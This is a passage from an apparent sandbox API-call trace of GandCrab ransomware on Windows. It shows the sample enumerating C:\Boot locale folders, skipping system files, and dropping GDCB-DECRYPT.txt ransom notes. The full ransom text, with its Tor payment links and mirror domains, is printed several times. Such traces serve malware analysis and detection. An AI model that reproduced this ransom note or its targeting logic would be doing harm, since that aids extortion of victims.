(in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.659] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.659] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.659] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned="C:\\Boot\\fr-FR\\memtest.exe.mui" [0052.659] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0052.659] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.659] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.659] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.659] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.660] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fr-FR\\\\GDCB-DECRYPT.txt") returned 31 [0052.660] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fr-fr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.707] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.707] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.707] CloseHandle (hObject=0x4e0) returned 1 [0052.707] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.708] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0052.708] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-FR\\*") returned="C:\\Boot\\fr-FR\\*" [0052.708] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.708] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.708] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.708] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.708] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.708] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.708] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.708] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0052.708] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.708] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0052.708] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0052.708] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.709] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.709] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.709] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.709] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt" [0052.709] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.709] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0052.709] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0052.709] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0052.709] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0052.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.710] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.710] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.710] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.710] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.710] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.710] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned="C:\\Boot\\fr-FR\\memtest.exe.mui" [0052.710] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.710] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0052.710] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0052.710] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.710] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.710] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.711] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.711] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.711] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.711] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\GDCB-DECRYPT.txt") returned="C:\\Boot\\GDCB-DECRYPT.txt" [0052.711] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.711] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0052.711] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0052.711] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0052.711] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.711] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.711] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.712] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.712] lstrcmpW (lpString1="hr-HR", lpString2=".") returned 1 [0052.712] lstrcmpW (lpString1="hr-HR", lpString2="..") returned 1 [0052.712] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hr-HR" | out: lpString1="C:\\Boot\\hr-HR") returned="C:\\Boot\\hr-HR" [0052.712] lstrcatW (in: lpString1="C:\\Boot\\hr-HR", lpString2="\\" | out: lpString1="C:\\Boot\\hr-HR\\") returned="C:\\Boot\\hr-HR\\" [0052.712] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.712] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.713] lstrlenW (lpString="C:\\Boot\\hr-HR\\") returned 14 [0052.713] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="*" | out: lpString1="C:\\Boot\\hr-HR\\*") returned="C:\\Boot\\hr-HR\\*" [0052.713] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.714] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.714] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.714] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.714] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.714] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.714] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.714] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.714] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned="C:\\Boot\\hr-HR\\bootmgr.exe.mui" [0052.714] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0052.714] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.714] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.714] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.715] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.715] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\hr-HR\\\\GDCB-DECRYPT.txt") returned 31 [0052.715] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\hr-hr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.715] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.715] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.716] CloseHandle (hObject=0x4e0) returned 1 [0052.716] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.716] lstrlenW (lpString="C:\\Boot\\hr-HR\\") returned 14 [0052.716] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="*" | out: lpString1="C:\\Boot\\hr-HR\\*") returned="C:\\Boot\\hr-HR\\*" [0052.716] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.716] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.716] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.716] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.716] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.716] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.716] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.716] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.716] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned="C:\\Boot\\hr-HR\\bootmgr.exe.mui" [0052.716] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.717] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0052.717] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0052.717] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.717] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.717] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.717] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.717] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt" [0052.717] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.718] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0052.718] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0052.718] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0052.718] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.718] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.718] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.718] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.718] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.718] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.718] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0052.718] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0052.718] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hu-HU" | out: lpString1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0052.718] lstrcatW (in: lpString1="C:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="C:\\Boot\\hu-HU\\") returned="C:\\Boot\\hu-HU\\" [0052.718] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.719] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.719] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0052.719] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="C:\\Boot\\hu-HU\\*") returned="C:\\Boot\\hu-HU\\*" [0052.719] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.719] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.719] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.719] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.719] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.719] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.719] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.719] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.719] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0052.719] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0052.719] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.719] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.719] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.719] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.719] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned="C:\\Boot\\hu-HU\\memtest.exe.mui" [0052.720] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0052.720] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.720] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.720] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.720] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.720] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\hu-HU\\\\GDCB-DECRYPT.txt") returned 31 [0052.720] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\hu-hu\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.720] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.720] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.721] CloseHandle (hObject=0x4e0) returned 1 [0052.721] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.721] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0052.721] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="C:\\Boot\\hu-HU\\*") returned="C:\\Boot\\hu-HU\\*" [0052.721] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a60 [0052.721] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.721] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.721] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.722] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.722] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.722] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.722] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.722] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0052.722] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.722] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0052.722] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0052.722] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.722] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.722] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.722] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.722] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt" [0052.722] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.723] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0052.723] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0052.723] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0052.723] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 